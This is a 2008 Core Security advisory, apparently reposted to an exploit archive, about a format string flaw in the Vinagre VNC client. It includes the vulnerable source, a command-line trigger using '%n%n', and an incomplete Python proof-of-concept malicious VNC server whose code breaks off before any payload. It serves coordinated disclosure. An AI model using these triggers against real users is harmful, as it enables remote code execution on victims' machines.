Vinagre < 2.24.2 - 'show_error()' Remote Format String (PoC)







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Vinagre show_error() format string vulnerability

1. *Advisory Information*

Title: Vinagre show_error() format string vulnerability
Advisory ID: CORE-2008-1127
Advisory URL:
Date published: 2008-12-09
Date of last update: 2008-12-09
Vendors contacted: Vinagre team
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Format string
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32682
CVE Name: N/A

3. *Vulnerability Description*

Vinagre [1] is a VNC client for the GNOME Desktop. A format string error
has been found on the 'vinagre_utils_show_error()' function that can be
exploited via commands issued from a malicious server containing format
string specifiers on the VNC name.

In a web based attack scenario, the user would be required to connect to
a malicious server. Successful exploitation would then allow the
attacker to execute arbitrary code with the privileges of the Vinagre user.

4. *Vulnerable packages*

   . Vinagre 2.24.1 and previous versions

5. *Non-vulnerable packages*

   . Vinagre 2.24.2

6. *Vendor Information, Solutions and Workarounds*

The Vinagre team has released a fixed version, available at

7. *Credits*

This vulnerability was discovered and researched by Alfredo Ortega from
Core Security Technologies.

8. *Technical Description / Proof of Concept Code*

The function 'vinagre_utils_show_error()' on 'src/vinagre-utils.c' follows:


57  void
58  vinagre_utils_show_error (const gchar *message, GtkWindow *parent)
59  {
60    GtkWidget *d;
62    d = gtk_message_dialog_new (parent,
64              GTK_MESSAGE_ERROR,
65              GTK_BUTTONS_CLOSE,
66              message);

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 Here, the "message" string is the format specifier for the function
'gtk_message_dialog_new()', but may be controlled by the user in many
ways. The simplest is the invocation of vinagre via a command line, Ex.:


~$vinagre %n%n
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 But the vulnerability can also be triggered remotely via a malicious
vnc server.

8.1. *Proof Of Concept*

The following python script implements a basic vnc server that triggers
the vulnerability:


## Gnome Vinagre format string PoC VNC SERVER

import socket
import struct

#create an INET, STREAMing socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#bind the socket to a public host,
# and a well-known port
serversocket.bind(("", 5900))

#become a server socket

while 1:
  #accept connections from outside
  (clientsocket, address) = serversocket.accept()
  print "accept"

  # version handshake
  clientsocket.send("RFB 003.008\n")
  print resp

  # security types (none)	
  if resp=="\x01":
    print "security: none"
    clientsocket.send("\x00\x00\x00\x00") #OK
  else: exit(-1)

  # share desktop flag?

  #framebuffer parameters



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9. *Report Timeline*

. 2008-12-01: Core Security Technologies notifies the Vinagre team of
the vulnerability.
. 2008-12-02: Vinagre team asks Core for a technical description of the
. 2008-12-02: Technical details sent to Vinagre team by Core.
. 2008-12-02: Vinagre team notifies Core this issue has been fixed in
the development branch, and that a new version will be available soon.
. 2008-12-05: Core asks Vinagre team if the new version is available.
. 2008-12-05: Vinagre team releases the Vinagre 2.24.2 version, which
fixes this issue.
. 2008-12-09: The advisory CORE-2008-1127 is published.

10. *References*


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12. *About Core Security Technologies*

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